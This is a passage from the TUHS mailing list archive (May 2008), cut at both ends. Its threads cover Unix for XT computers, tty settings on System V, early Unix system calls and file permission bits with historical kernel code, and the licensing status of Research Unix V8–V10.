- init.s compares with $173030.  The 1ed manual and jun72 printout
   compare with $73700 as does the init from s2.
- ls.s uses /etc/passwd.  1ed ls.s uses /etc/uids as passwd is not
   readable by normal users.

I think this points to the jun72 bits being closely related to 1ed,
the s2 files as being slightly newer, and the s1 frags as being a
bit newer than that.

Tim Newsham
http://www.thenewsh.com/~newsham/


From angus at fairhaven.za.net  Wed May  7 09:58:11 2008
From: angus at fairhaven.za.net (Angus Robinson)
Date: Wed, 07 May 2008 01:58:11 +0200
Subject: [TUHS] xt
Message-ID: <4820F093.5030100@fairhaven.za.net>

Hi

I have a few xt computers and would like to put some old unix OS on, 
what unix would you guys recommend for it ? most of the unix that i have 
tried to search for are for machines that are older than xt.


Regards,
Angus


From cowan at ccil.org  Wed May  7 10:06:45 2008
From: cowan at ccil.org (John Cowan)
Date: Tue, 6 May 2008 20:06:45 -0400
Subject: [TUHS] xt
In-Reply-To: <4820F093.5030100@fairhaven.za.net>
References: <4820F093.5030100@fairhaven.za.net>
Message-ID: <20080507000645.GF20556@mercury.ccil.org>

Angus Robinson scripsit:
> Hi
> 
> I have a few xt computers and would like to put some old unix OS on, 
> what unix would you guys recommend for it ? most of the unix that i have 
> tried to search for are for machines that are older than xt.

Check out elks.sf.net.

> 
> Regards,
> Angus
> _______________________________________________
> TUHS mailing list
> TUHS at minnie.tuhs.org
> https://minnie.tuhs.org/mailman/listinfo/tuhs

-- 
After fixing the Y2K bug in an application:     John Cowan
        WELCOME TO <censored>                   cowan at ccil.org
        DATE: MONDAK, JANUARK 1, 1900           http://www.ccil.org/~cowan


From wkt at tuhs.org  Wed May  7 11:55:19 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Wed, 7 May 2008 11:55:19 +1000
Subject: [TUHS] xt
In-Reply-To: <4820F093.5030100@fairhaven.za.net>
References: <4820F093.5030100@fairhaven.za.net>
Message-ID: <20080507015519.GA78779@minnie.tuhs.org>

On Wed, May 07, 2008 at 01:58:11AM +0200, Angus Robinson wrote:
> I have a few xt computers and would like to put some old unix OS on, 
> what unix would you guys recommend for it ? most of the unix that i have 
> tried to search for are for machines that are older than xt.

Has anybody got a working copy of PC/IX? Apparently it was not a bad
version of Unix for x86.

	Warren


From wes.parish at paradise.net.nz  Wed May  7 19:21:38 2008
From: wes.parish at paradise.net.nz (Wesley Parish)
Date: Wed, 07 May 2008 21:21:38 +1200
Subject: [TUHS] xt
In-Reply-To: <4820F093.5030100@fairhaven.za.net>
References: <4820F093.5030100@fairhaven.za.net>
Message-ID: <200805072121.38774.wes.parish@paradise.net.nz>

I think Xenix might run.

On Wednesday 07 May 2008 11:58, Angus Robinson wrote:
> Hi
>
> I have a few xt computers and would like to put some old unix OS on,
> what unix would you guys recommend for it ? most of the unix that i have
> tried to search for are for machines that are older than xt.
>
>
> Regards,
> Angus
> _______________________________________________
> TUHS mailing list
> TUHS at minnie.tuhs.org
> https://minnie.tuhs.org/mailman/listinfo/tuhs

-- 
Clinersterton beademung, with all of love - RIP James Blish
-----
Gaul is quartered into three halves.  Things which are 
impossible are equal to each other.  Guerrilla 
warfare means up to their monkey tricks. 
Extracts from "Schoolboy Howlers" - the collective wisdom 
of the foolish.
-----
Mau e ki, he aha te mea nui?
You ask, what is the most important thing?
Maku e ki, he tangata, he tangata, he tangata.
I reply, it is people, it is people, it is people.


From angus at fairhaven.za.net  Thu May  8 02:13:48 2008
From: angus at fairhaven.za.net (Angus Robinson)
Date: Wed, 07 May 2008 18:13:48 +0200
Subject: [TUHS] xt
In-Reply-To: <4820F093.5030100@fairhaven.za.net>
References: <4820F093.5030100@fairhaven.za.net>
Message-ID: <4821D53C.4000305@fairhaven.za.net>



Angus Robinson wrote:
> Hi
>
> I have a few xt computers and would like to put some old unix OS on, 
> what unix would you guys recommend for it ? most of the unix that i have 
> tried to search for are for machines that are older than xt.
>
>
> Regards,
> Angus
> _______________________________________________
> TUHS mailing list
> TUHS at minnie.tuhs.org
> https://minnie.tuhs.org/mailman/listinfo/tuhs
>   

Trying to find something else for unix, i came across this

http://209.85.135.104/search?q=cache:lcSNV-blOiYJ:nordier.com/v7x86/doc/v7x86intro.pdf+using+ed+on+unix+v7&hl=en&ct=clnk&cd=2&gl=za

Seems to be for x86 :)

Regards,
Angus


From lyricalnanoha at dosius.ath.cx  Thu May  8 02:20:42 2008
From: lyricalnanoha at dosius.ath.cx (lyricalnanoha)
Date: Wed, 7 May 2008 12:20:42 -0400 (EDT)
Subject: [TUHS] xt
In-Reply-To: <4821D53C.4000305@fairhaven.za.net>
References: <4820F093.5030100@fairhaven.za.net>
	<4821D53C.4000305@fairhaven.za.net>
Message-ID: <alpine.DEB.0.99.0805071220150.30460@andisteele.dosius.ath.cx>



On Wed, 7 May 2008, Angus Robinson wrote:

>
>
> Angus Robinson wrote:
>> Hi
>>
>> I have a few xt computers and would like to put some old unix OS on,
>> what unix would you guys recommend for it ? most of the unix that i have
>> tried to search for are for machines that are older than xt.
>>
>>
>> Regards,
>> Angus
>> _______________________________________________
>> TUHS mailing list
>> TUHS at minnie.tuhs.org
>> https://minnie.tuhs.org/mailman/listinfo/tuhs
>>
>
> Trying to find something else for unix, i came across this
>
> http://209.85.135.104/search?q=cache:lcSNV-blOiYJ:nordier.com/v7x86/doc/v7x86intro.pdf+using+ed+on+unix+v7&hl=en&ct=clnk&cd=2&gl=za
>
> Seems to be for x86 :)
>
> Regards,
> Angus

386, won't run on an XT

-uso.


From cyrille.lefevre-lists at laposte.net  Thu May  8 01:14:55 2008
From: cyrille.lefevre-lists at laposte.net (Cyrille Lefevre)
Date: Wed, 07 May 2008 17:14:55 +0200
Subject: [TUHS] xt
In-Reply-To: <20080507015519.GA78779@minnie.tuhs.org>
References: <4820F093.5030100@fairhaven.za.net>
	<20080507015519.GA78779@minnie.tuhs.org>
Message-ID: <4821C76F.6010200@laposte.net>

Warren Toomey a écrit :
> On Wed, May 07, 2008 at 01:58:11AM +0200, Angus Robinson wrote:
>> I have a few xt computers and would like to put some old unix OS on, 
>> what unix would you guys recommend for it ? most of the unix that i have 
>> tried to search for are for machines that are older than xt.
> 
> Has anybody got a working copy of PC/IX? Apparently it was not a bad
> version of Unix for x86.

I have to check if the media are still readable ?  :)
ditto about xenix, sco unix, etc...

Regards,

Cyrille Lefevre
-- 
mailto:Cyrille.Lefevre-lists at laposte.net




From gerberb at zenez.com  Thu May  8 03:26:06 2008
From: gerberb at zenez.com (Boyd Lynn Gerber)
Date: Wed, 7 May 2008 11:26:06 -0600
Subject: [TUHS] xt
In-Reply-To: <4821C76F.6010200@laposte.net>
References: <4820F093.5030100@fairhaven.za.net>
	<20080507015519.GA78779@minnie.tuhs.org>
	<4821C76F.6010200@laposte.net>
Message-ID: <Pine.LNX.4.64.0805071122040.24677@xenau.zenez.com>

On Wed, 7 May 2008, Cyrille Lefevre wrote:
> Warren Toomey a écrit :
> > On Wed, May 07, 2008 at 01:58:11AM +0200, Angus Robinson wrote:
> >> I have a few xt computers and would like to put some old unix OS on,
> >> what unix would you guys recommend for it ? most of the unix that i have
> >> tried to search for are for machines that are older than xt.
> >
> > Has anybody got a working copy of PC/IX? Apparently it was not a bad
> > version of Unix for x86.
>
> I have to check if the media are still readable ?  :)
> ditto about xenix, sco unix, etc...

I still have floopy images for XENIX and SCO UNIX 3.2v2.?, 3.2v4.0,
3.2v4.2.  SCO had to pay royalties on every media shiped.  I can make them
available with proof of purchase.  I am allowed to give all but one of
each set.  I do not have the licence keys and activation keys available or
a way of generating them.  I had PC/IX, but I have been unable to find the
orignal media.  I do not seem to have it in my archive.

--
Boyd Gerber <gerberb at zenez.com>
ZENEZ	1042 East Fort Union #135, Midvale Utah  84047


From dpeschel at eskimo.com  Thu May 15 11:30:20 2008
From: dpeschel at eskimo.com (Derek Peschel)
Date: Wed, 14 May 2008 18:30:20 -0700
Subject: [TUHS] Setting System V up for local echo TTYs?
Message-ID: <20080514183020.C4433@eskimo.com>

A friend of mine has gotten an AT&T 3B2 running at the Vintage Telephone
Equipment Museum here in Seattle.  A Teletype model 33 and a 37 can now
also connect (through a small step-by-step switch and then a #5 crossbar)
to the computer.  Even if System V is not exactly classic UNIX, I hope
the configuration as a whole counts.

The 33 has local echo.  The 37 has it too (but supposedly that's easier
to change).  I've been experimenting with the correct stty settings, but
it's hard to get everything right.  Mostly I've been experimenting with
the 33 since the 37 just started working yesterday.

Could some setting cause line feeds to intermittently not happen, so that
two lines are overprinted?  I'm wondering if this is due to a mechanical
problem in the 33, or to line noise (which I know we are having) because
I can't see much pattern to when lines are being overprinted.

Are there any input settings that allow me to use LINE FEED and CAR RET
interchangeably as line terminators in canonical mode?  I'm assuming they
won't affect the output settings, so that programs can print NL (which
becomes CRLF) or CR (which stays CR).

Is the terminal driver smart enough to print the LF character while the
CR is happening, so I can shorten the delay settings?  That's only dealing
with output.  Is the driver smart enough to change the timing when dealing
with input? (since the driver can't change the LF key into CRLF because
the LF is already happening when the driver sees it).

I have tabs expanded on output.  Can I get the terminal driver to expand
them as input is being echoed?

And what controls echoing of login names? (besides /etc/gettydefs)  We
want to turn that off for certain lines.

If you need more details, they will have to wait until Tuesday.  Sorry.

And does anyone have any ideas about interesting ways to demonstrate the
features of the 37, 43, and 5610?  I thought eqn might be smart enough
to use the half and reverse line feeds, and vertical tabs, of our 37.
Does any software know about the ribbon colors?  What about software
to control tape readers and punches?  We probably don't have the extra
32 printing characters that dmr's pages on early UNIX mention.

Thanks,

-- Derek


From wkt at tuhs.org  Sun May 18 17:58:20 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Sun, 18 May 2008 17:58:20 +1000
Subject: [TUHS] 1st Edition UNIX syscalls
Message-ID: <20080518075820.GA75584@minnie.tuhs.org>

Working with the 1st Edition UNIX code has been a blast. I just thought I'd
quickly summarise the features of the 1st Edition. It's quite amazing the
system that had been written by the end of 1971:

- a multitasking system with up to 16 processes
- multiple users
- a hierachical filesystem, with empty directories used as mountpoints
- read/write file protection for user/other (no group), plus the
  execute and set-userid bits
- i-nodes, and filenames separated from i-nodes, allowing hard links
- device files

Just as interesting is the fact that, out of the 33 system calls in 1st
Edition UNIX, only one has disappeared completely from modern UNIXes;
four have merged into signal(), and a few have morphed into other syscalls:

V1_RELE    0    /* release the CPU, i.e. pre-empt this process */
V1_EXIT    1    exit()
V1_FORK    2    fork()
V1_READ    3    read()
V1_WRITE   4    write()
V1_OPEN    5    open()
V1_CLOSE   6    close()
V1_WAIT    7    wait()
V1_CREAT   8    open(path, O_CREAT | O_TRUNC | O_WRONLY, mode);
V1_LINK    9    link()
V1_UNLINK  10   unlink()
V1_EXEC    11   exec()
V1_CHDIR   12   chdir()
V1_TIME    13   gettimeofday()
V1_MKDIR   14   mkdir()
V1_CHMOD   15   chmod()
V1_CHOWN   16   chown()
V1_BREAK   17   brk()
V1_STAT    18   stat()
V1_SEEK    19   lseek()
V1_TELL    20   lseek(fd, 0, SEEK_CUR);
V1_MOUNT   21   mount()
V1_UMOUNT  22   umount()
V1_SETUID  23   setuid()
V1_GETUID  24   getuid()
V1_STIME   25   settimeofday()
V1_QUIT    26   signal(SIGQUIT,...)
V1_INTR    27   signal(SIGINT,...)
V1_FSTAT   28   fstat()
V1_CEMT    29   signal(SIGEMT,...)
V1_SMDATE  30   utimes()
V1_STTY    31   fcntl(), tcsetattr()
V1_GTTY    32   fcntl(), tcgetattr()
V1_ILGINS  33   signal(SIGILL,...)

The fact that we are still using these system calls today speaks volumes
for the original design.

Cheers,
	Warren


From wkt at tuhs.org  Sun May 18 23:26:06 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Sun, 18 May 2008 23:26:06 +1000
Subject: [TUHS] Later UNIX syscalls
Message-ID: <20080518132606.GA83541@minnie.tuhs.org>

While I'm investigating the legacy of the UNIX syscalls, I might as well
go into the later versions.

2nd Edition UNIX kept all the syscalls of 1st Edition, and added these:

34  hog		lower process priority, becomes nice()
35  sleep	sleep()
36  sync	sync()
37  kill	kill()
38  getcsw	reads console switches: this goes away in 7th Edition

3rd Edition UNIX kept all the syscalls of 2nd Edition, and added these:

39  boot	reboot the system, becomes reboot()
40  fpe		catch floting point errors, becomes signal(SIGFPE, ...)
41  dup		dup()
42  pipe	pipe()
43  times	get process time details, becomes getrusage()

Note pipe() appears in the 3rd Edition, which was still in assembly.
4th Edition UNIX is the first kernel written in C. We start to see changes:

14 mknod	was mkdir(), now can make directories and device files
34 nice		was hog()
20 tell		goes away, as seek() does the same job
44 profil	profil()
45 tiu		interface to Spider digital switching network: goes away
46 setgid	setgid()
47 getgid	getgid()
48 signal	signal()

It's interesting to note that signal() appears, but the existing signal-like
syscalls do not disappear just yet, although tell() does go away. It's also
to note that seek() has the usual 0=SEEK_SET, 1=SEEK_CUR, 2=SEEK_END, but
there are also 3, 4, 5 which mean the same except that offsets are multiplied
by 512 bytes. This is to do long seeks on block devices. Earlier UNIX kernels
automatically multiplied offsets on block devices by 512, but now the task
of doing this has been shifted to the process.

In 5th Edition, we see some more changes:

20  getpid	getpid(), fills the slot vacated by tell()
26  quit	goes away to be replaced with signal(SIGQUIT, ...)
27  intr	goes away to be replaced with signal(SIGINT, ...)
29  cemt	goes away to be replaced with signal(SIGEMT, ...)
33  ilgins	goes away to be replaced with signal(SIGILL, ...)
39  boot	goes away
40  fpe 	goes away to be replaced with signal(SIGFPE, ...)
45  tiu		goes away

6th Edition has few changes over 5th Edition:

26  ptrace	ptrace(), fills the slot vacated by quit()
30  smdate	becomes inoperative

7th Edition has some significant changes over 6th Edition:

27  alarm	alarm(), fills the slot vacated by intr()
29  pause	pause(), fills the slot vacated by cemt()
30  utime	utime(), replaces the missing smdate()
33  access	access(), fills the slot vacated by ilgins()
35  ftime       get date and time, later becomes gettimeofday()
38  getcsw	goes away
39  setpgrp	setpgrp(), but not yet implemented, i.e. reserved slot

49  unused
50  unused
51  sysacct	turn accounting off/on
52  sysphys	set user physical addresses
53  syslock	lock user in core
54  ioctl	ioctl()
55  unused
56  mpxchan	create mpx communications channel
57  unused
58  unused
59  exece	execve(), note that existing syscall 11 exec() has no envp[]
60  umask	umask()
61  chroot	chroot()

Note that 35 sleep() is now gone, as its functionality can be simulated with
27 alarm().

Cheers,
	Warren


From jam at magic.com  Mon May 19 00:33:33 2008
From: jam at magic.com (James A. Markevitch)
Date: Sun, 18 May 2008 07:33:33 -0700 (PDT)
Subject: [TUHS] Kernel built under V1
Message-ID: <200805181433.HAA01780@mist.magic.com>

For fun, I tried building the kernel under V1 and booting it and it
looks like it simply works.

I did the following, outside the simulator:

	tools/assemv2
	mkdir fs/usr/kernel
	cp -pi build/u?.s fs/usr/kernel
	tools/imgbuild
	boot/installboot
	tools/pdp11 boot/simh.cfg

Then, I logged in as root and did:

	chdir /usr/kernel
	as u?.s
	chdir ../boot
	sh run
	msys2 u ../kernel/a.out

More realistically, the kernel should be built in /usr/sys.

James Markevitch


From wkt at tuhs.org  Mon May 19 08:03:26 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Mon, 19 May 2008 08:03:26 +1000
Subject: [TUHS] Later UNIX syscalls
In-Reply-To: <20080518.154005.152643227461321888.cfmd@bredband.net>
References: <20080518132606.GA83541@minnie.tuhs.org>
	<20080518.154005.152643227461321888.cfmd@bredband.net>
Message-ID: <20080518220326.GB16976@minnie.tuhs.org>

On Sun, May 18, 2008 at 03:40:05PM +0200, Magnus Danielson wrote:
> Warren!
> Thanks for a couple of interesting posts!!!
> Makes me want to read some source... you seems to have it at hand.
> Where is it?

Most of it is here:
http://www.tuhs.org/Archive/PDP-11/Distributions/research/
which includes source for 5th, 6th and 7th Editions, and a kernel
written just before 4th Edition. We don't have 2nd, 3rd, or 4th Edition
source, but the 3rd and 4th Edition manuals are in there.

The source to the 1st Edition UNIX kernel has recently been found in
a paper document, available at 
http://www.tuhs.org/Archive/PDP-11/Distributions/research/1972_stuff/PreliminaryUnixImplementationDocument_Jun72.pdf.

Cheers,
	Warren


From arnold at skeeve.com  Wed May 21 04:58:21 2008
From: arnold at skeeve.com (Aharon Robbins)
Date: Tue, 20 May 2008 21:58:21 +0300
Subject: [TUHS] V8 - V10?
Message-ID: <200805201858.m4KIwL2n004195@skeeve.com>

Is the SCO "stuff" settled enough that DMR can release V8 - V10 to TUHS?

Thanks,

Arnold Robbins


From wkt at tuhs.org  Wed May 21 14:32:24 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Wed, 21 May 2008 14:32:24 +1000
Subject: [TUHS] Early UNIX file permission oddity
Message-ID: <20080521043224.GA32712@minnie.tuhs.org>

I was just browsing through the 1974 UNIX CACM paper, the one that first
publicly described the design and functionality of UNIX. I came across
some sentences which describe the file permissions, and they sounded quite odd:

  When a file is created, it is marked with the user ID of its owner.
  Also given for new files is a set of seven protection bits.
  Six of these specify independently read, write, and execute permission
  for the owner of the file and for all other users. [The seventh bit
  is the set-user-id bit. ]

This seems to indicate that there are "rwx" bits for owner, "rwx" bits for other,
and no "rwx" bits for group. I've never seen a UNIX system with 6 file
permission bits, so I thought I would poke around to see what I could find. It
turns out that none of the source code or document artifacts that we have
describe a UNIX system with just 6 "rwxrwx" bits: there are either "rw" user,
"rw" other and a separate execute bit, or the modern 9 "rwxrwxrwx" permission
bits.

1st Edition UNIX (Nov 1971) has these permission bits for an i-node:

#define I_SETUID        0000040		set-user-id
#define I_EXEC          0000020		a single execute bit
#define I_UREAD         0000010
#define I_UWRITE        0000004		read/write for user
#define I_OREAD         0000002
#define I_OWRITE        0000001		read/write for other

3rd Edition UNIX (Feb 1973) has these permission bits for an i-node:

000040  set user ID on execution
000020  executable
000010  read, owner
000004  write, owner
000002  read, non-owner
000001  write, non-owner		i.e same as for 1st Edition

By the time we get to the Nsys kernel (Aug 1973, just before 4th Edition UNIX),
the system has the concept of groups and the setgid() & getgid() system calls.
The inode.h header file defines these permission bits:

#define ISUID   04000
#define ISGID   02000
#define IREAD   0400
#define IWRITE  0200
#define IEXEC   0100

This is a bit unclear, but the code for the access() kernel function implies
that there are read/write/execute bits for user, group and other. Here is the
code for access() with my comments:

/* Determine if the current user can access a file with the given mode */
access(ip, mode)
int *ip;
{
        register *rip;

        if(u.u_uid == 0)		/* root can access all files */
                return(0);
        rip = ip;
        if(u.u_uid != rip->i_uid) {	/* not owner, shift mode 3 bits, lose */
                mode =>> 3;		/* user bits, replace with group bits */
                if(u.u_gid != rip->i_gid) /* not group, shift 3 again, lose */
                        mode =>> 3;	/* group bits, replace with other bits */
        }
        if((rip->i_mode&mode) != 0)	/* If mode mask and file's mode leave */
                return(0);		/* some bits enabled, allow access */
        u.u_error = EACCES;
        return(1);
}

And when we get to the 4th Edition (Nov 1973), the filesystem manual gives
these permissions:

000400  read (owner)
000200  write (owner)
000100  execute (owner)
000070  read, write, execute (group)
000007  read, write, execute (others)

So, editions up to the 3rd Edition had "rwrw" + "x"; the Nsys kernel and
onwards had "rwxrwxrwx" permission bits.

The only possibility that I can see is, as 3rd Edition was being rewritten
from assembly into C, the filesystem went through a stage where there
"rwx" execute bits for user, and "rxw" execute bits for other as the CACM
paper described, but groups had not been introduced yet. Then, the idea of
groups was added: the i-node structure had the i_gid field added, and the
access() function was extended with the lines:

		if(u.u_gid != rip->i_gid) /* not group, shift 3 again, lose */
                        mode =>> 3;     /* group bits, replace with other bits */

I'll have to ask Dennis is this sounds plausible.

Cheers,
	Warren


From wb at freebie.xs4all.nl  Wed May 21 16:15:15 2008
From: wb at freebie.xs4all.nl (Wilko Bulte)
Date: Wed, 21 May 2008 08:15:15 +0200
Subject: [TUHS] Early UNIX file permission oddity
In-Reply-To: <20080521043224.GA32712@minnie.tuhs.org>
References: <20080521043224.GA32712@minnie.tuhs.org>
Message-ID: <20080521061515.GA73871@freebie.xs4all.nl>

Quoting Warren Toomey, who wrote on Wed, May 21, 2008 at 02:32:24PM +1000 ..
> I was just browsing through the 1974 UNIX CACM paper, the one that first
> publicly described the design and functionality of UNIX. I came across
> some sentences which describe the file permissions, and they sounded quite odd:
> 
>   When a file is created, it is marked with the user ID of its owner.
>   Also given for new files is a set of seven protection bits.
>   Six of these specify independently read, write, and execute permission
>   for the owner of the file and for all other users. [The seventh bit
>   is the set-user-id bit. ]
> 
> This seems to indicate that there are "rwx" bits for owner, "rwx" bits for other,
> and no "rwx" bits for group. I've never seen a UNIX system with 6 file
> permission bits, so I thought I would poke around to see what I could find. It

Well, I have a UNIX-like system sitting in my basement that has this.  This
is a TSC Uniflex system running on a Motorola MC6809 CPU.  8 bit CPU in
other words.

..

Wilko


From cowan at ccil.org  Wed May 21 21:08:51 2008
From: cowan at ccil.org (John Cowan)
Date: Wed, 21 May 2008 07:08:51 -0400
Subject: [TUHS] Early UNIX file permission oddity
In-Reply-To: <20080521043224.GA32712@minnie.tuhs.org>
References: <20080521043224.GA32712@minnie.tuhs.org>
Message-ID: <20080521110851.GG14184@mercury.ccil.org>

Warren Toomey scripsit:

> The only possibility that I can see is, as 3rd Edition was being rewritten
> from assembly into C, the filesystem went through a stage where there
> "rwx" execute bits for user, and "rxw" execute bits for other as the CACM
> paper described, but groups had not been introduced yet. Then, the idea of
> groups was added [...]. 

I think you're probably right, but with an important caveat:

It's important to remember that 1st, 2nd, 3rd, ... represent editions of
the *manual*, and that there is no guarantee that any particular
snapshot of the system corresponds exactly to what was in any particular
manual edition.  Research Unix (as it was later called retrospectively)
was right up to the end a continuously evolving system, and the whole
concept of releases simply did not exist for it.

So when the CACM article was written, it probably specified what the
kernel was doing that particular day, without reference to any edition.

-- 
John Cowan        http://www.ccil.org/~cowan          cowan at ccil.org
Please leave your values                Check your assumptions.  In fact,
   at the front desk.                      check your assumptions at the door.
     --sign in Paris hotel                   --Cordelia Vorkosigan


From wkt at tuhs.org  Wed May 21 21:20:53 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Wed, 21 May 2008 21:20:53 +1000
Subject: [TUHS] Early UNIX file permission oddity
In-Reply-To: <20080521110851.GG14184@mercury.ccil.org>
References: <20080521043224.GA32712@minnie.tuhs.org>
	<20080521110851.GG14184@mercury.ccil.org>
Message-ID: <20080521112053.GA44285@minnie.tuhs.org>

On Wed, May 21, 2008 at 07:08:51AM -0400, John Cowan wrote:
> It's important to remember that 1st, 2nd, 3rd, ... represent editions of
> the *manual*, and that there is no guarantee that any particular
> snapshot of the system corresponds exactly to what was in any particular
> manual edition.  Research Unix (as it was later called retrospectively)
> was right up to the end a continuously evolving system, and the whole
> concept of releases simply did not exist for it.
> So when the CACM article was written, it probably specified what the
> kernel was doing that particular day, without reference to any edition.

Yes, exactly right. That's always in the back of my mind, so sometimes I
forget to make it explicit. What I should have said that the CACM paper
possibly indicates that UNIX went through the stages:

	"rwrw" + "x" ==> "rwxrwx" ==> "rwxrwxrwx"

sometime between the points in time known as 3rd and 4th Editions.

Thanks John,
	Warren


From cowan at ccil.org  Wed May 21 21:50:32 2008
From: cowan at ccil.org (John Cowan)
Date: Wed, 21 May 2008 07:50:32 -0400
Subject: [TUHS] Early UNIX file permission oddity
In-Reply-To: <20080521112053.GA44285@minnie.tuhs.org>
References: <20080521043224.GA32712@minnie.tuhs.org>
	<20080521110851.GG14184@mercury.ccil.org>
	<20080521112053.GA44285@minnie.tuhs.org>
Message-ID: <20080521115032.GI14184@mercury.ccil.org>

Warren Toomey scripsit:

> What I should have said that the CACM paper
> possibly indicates that UNIX went through the stages:
> 
> 	"rwrw" + "x" ==> "rwxrwx" ==> "rwxrwxrwx"
> 
> sometime between the points in time known as 3rd and 4th Editions.

I think you did say just that.  I was trying to make a more general
point for everyone on the list, not you in particular: not to assume
that the code snapshots we have correspond in any detailed way to the
manual snapshots we have.

-- 
John Cowan   cowan at ccil.org    http://ccil.org/~cowan
[R]eversing the apostolic precept to be all things to all men, I usually [before
Darwin] defended the tenability of the received doctrines, when I had to do
with the [evolution]ists; and stood up for the possibility of [evolution] among
the orthodox --thereby, no doubt, increasing an already current, but quite
undeserved, reputation for needless combativeness.  --T. H. Huxley


From cowan at ccil.org  Wed May 21 22:31:18 2008
From: cowan at ccil.org (John Cowan)
Date: Wed, 21 May 2008 08:31:18 -0400
Subject: [TUHS] V8 - V10?
In-Reply-To: <200805201858.m4KIwL2n004195@skeeve.com>
References: <200805201858.m4KIwL2n004195@skeeve.com>
Message-ID: <20080521123118.GJ14184@mercury.ccil.org>

Aharon Robbins scripsit:
> Is the SCO "stuff" settled enough that DMR can release V8 - V10 to TUHS?

I'd think it was.  SCO owns nothing except a license, and whatever it
did own, its predecessor in interest Caldera licensed away under a
BSD license.

Whether anyone wants to do the work is another question.
Digital preservation stands on three legs: right, power, and concern,
and the greatest of these is concern.

-- 
John Cowan   cowan at ccil.org    http://ccil.org/~cowan
If a soldier is asked why he kills people who have done him no harm, or a
terrorist why he kills innocent people with his bombs, they can always
reply that war has been declared, and there are no innocent people in an
enemy country in wartime.  The answer is psychotic, but it is the answer
that humanity has given to every act of aggression in history.  --Northrop Frye


From pepe at naleco.com  Thu May 22 04:52:40 2008
From: pepe at naleco.com (Pepe)
Date: Wed, 21 May 2008 20:52:40 +0200
Subject: [TUHS] V8 - V10?
In-Reply-To: <mailman.5.1211335201.23443.tuhs@minnie.tuhs.org>
References: <mailman.5.1211335201.23443.tuhs@minnie.tuhs.org>
Message-ID: <20080521185239.GA22550@d600.naleco.com>

> From: Aharon Robbins <arnold at skeeve.com>
> 
> Is the SCO "stuff" settled enough that DMR can release V8 - V10 to TUHS?

It seems clear, now, that the copyright on that is Novell's, and that
The SCO Group *never* had the copyright for that transferred to them by
Novell, and that therefore the "open-sourcing" of that material done by
Caldera is void because Caldera was lacking just title to do such
re-licensing.

Therefore, you can legally release it to TUHS, provided you have a license or
permission from Novell to do so.

You could always release it anyway, and hope for the best, but then you
are on your own and betting for your luck. Anything could happen, but it
is unknown.

-- 
Pepe
pepe at naleco.com



From cowan at ccil.org  Thu May 22 05:31:53 2008
From: cowan at ccil.org (John Cowan)
Date: Wed, 21 May 2008 15:31:53 -0400
Subject: [TUHS] V8 - V10?
In-Reply-To: <20080521185239.GA22550@d600.naleco.com>
References: <mailman.5.1211335201.23443.tuhs@minnie.tuhs.org>
	<20080521185239.GA22550@d600.naleco.com>
Message-ID: <20080521193153.GP14184@mercury.ccil.org>

Pepe scripsit:

> It seems clear, now, that the copyright on that is Novell's, and that
> The SCO Group *never* had the copyright for that transferred to them by
> Novell, and that therefore the "open-sourcing" of that material done by
> Caldera is void because Caldera was lacking just title to do such
> re-licensing.

IANAL and TINLA, but Caldera *did* have a license to sublicense the
content to third parties (which is not the same as copyright ownership),
so the BSD license should be valid.

-- 
John Cowan   cowan at ccil.org    http://ccil.org/~cowan
If a soldier is asked why he kills people who have done him no harm, or a
terrorist why he kills innocent people with his bombs, they can always
reply that war has been declared, and there are no innocent people in an
enemy country in wartime.  The answer is psychotic, but it is the answer
that humanity has given to every act of aggression in history.  --Northrop Frye


From newsham at lava.net  Thu May 22 07:39:17 2008
From: newsham at lava.net (Tim Newsham)
Date: Wed, 21 May 2008 11:39:17 -1000 (HST)
Subject: [TUHS] Early UNIX file permission oddity
In-Reply-To: <20080521110851.GG14184@mercury.ccil.org>
References: <20080521043224.GA32712@minnie.tuhs.org>
	<20080521110851.GG14184@mercury.ccil.org>
Message-ID: <Pine.BSI.4.64.0805211138070.16752@malasada.lava.net>

> It's important to remember that 1st, 2nd, 3rd, ... represent editions of
> the *manual*, and that there is no guarantee that any particular
> snapshot of the system corresponds exactly to what was in any particular
> manual edition.  Research Unix (as it was later called retrospectively)
> was right up to the end a continuously evolving system, and the whole
> concept of releases simply did not exist for it.

I thought there were distinct releases for 5th and 6th (and 7th?)
edition where the manuals, sources and binaries were all collected
in a consistent snapshot and released as a unit.

> John Cowan        http://www.ccil.org/~cowan          cowan at ccil.org

Tim Newsham
http://www.thenewsh.com/~newsham/


From pepe at naleco.com  Thu May 22 10:45:36 2008
From: pepe at naleco.com (Pepe)
Date: Thu, 22 May 2008 02:45:36 +0200
Subject: [TUHS] V8 - V10?
In-Reply-To: <20080521193153.GP14184@mercury.ccil.org>
References: <mailman.5.1211335201.23443.tuhs@minnie.tuhs.org>
	<20080521185239.GA22550@d600.naleco.com>
	<20080521193153.GP14184@mercury.ccil.org>
Message-ID: <20080522004536.GA26420@d600.naleco.com>

On Wed, May 21, 2008 at 03:31:53PM -0400, John Cowan wrote:
> Pepe scripsit:
> 
> > It seems clear, now, that the copyright on that is Novell's, and that
> > The SCO Group *never* had the copyright for that transferred to them by
> > Novell, and that therefore the "open-sourcing" of that material done by
> > Caldera is void because Caldera was lacking just title to do such
> > re-licensing.
> 
> IANAL and TINLA, but Caldera *did* have a license to sublicense the
> content to third parties (which is not the same as copyright ownership),
> so the BSD license should be valid.

Wrong. Caldera had a License to UNIX (including System V and UnixWare)
furnished by Novell, and they could only sublicense with a different
license if under Novell's prior permission to do so, which didn't happen.

Section 4.16(b) of the "Asset Purchase Agreement" entered to by the old
Santa Cruz and Novell, states: "[Santa Cruz] shall not, and shall not
have the authority to, amend, modify, or waive any right under or assign
any SVRX License without the prior consent of [Novell]". It is true that
here they are talking about System V, and not about Version 8 - Version
10.

What Novell transferred to the old SCO was the UNIX and UnixWare
trademarks, the UNIX business assets, and a license to pursue the UNIX
business on their own; and it excluded the UNIX and UnixWare copyrights.

Judge Dale A. Kimball says in his ruling on the 10th of August of 2007:
"SCO contends that the exclusion of the UNIX and UnixWare copyrights
would render the APA meaningless because it would prevent Santa Cruz
from pursuing its UNIX business. [...] Contrary to SCO's assertions,
there is evidence that SCO did not need to own  the UNIX and UnixWare
copyrights to pursue its UNIX business. It is well established that a
contract involving copyrighted works confers an implied  license to use
the copyrights as needed to implement the transaction."

So, The SCO Group can operate the UNIX business it acquired from Novell,
but cannot change the license of that material is under because The SCO
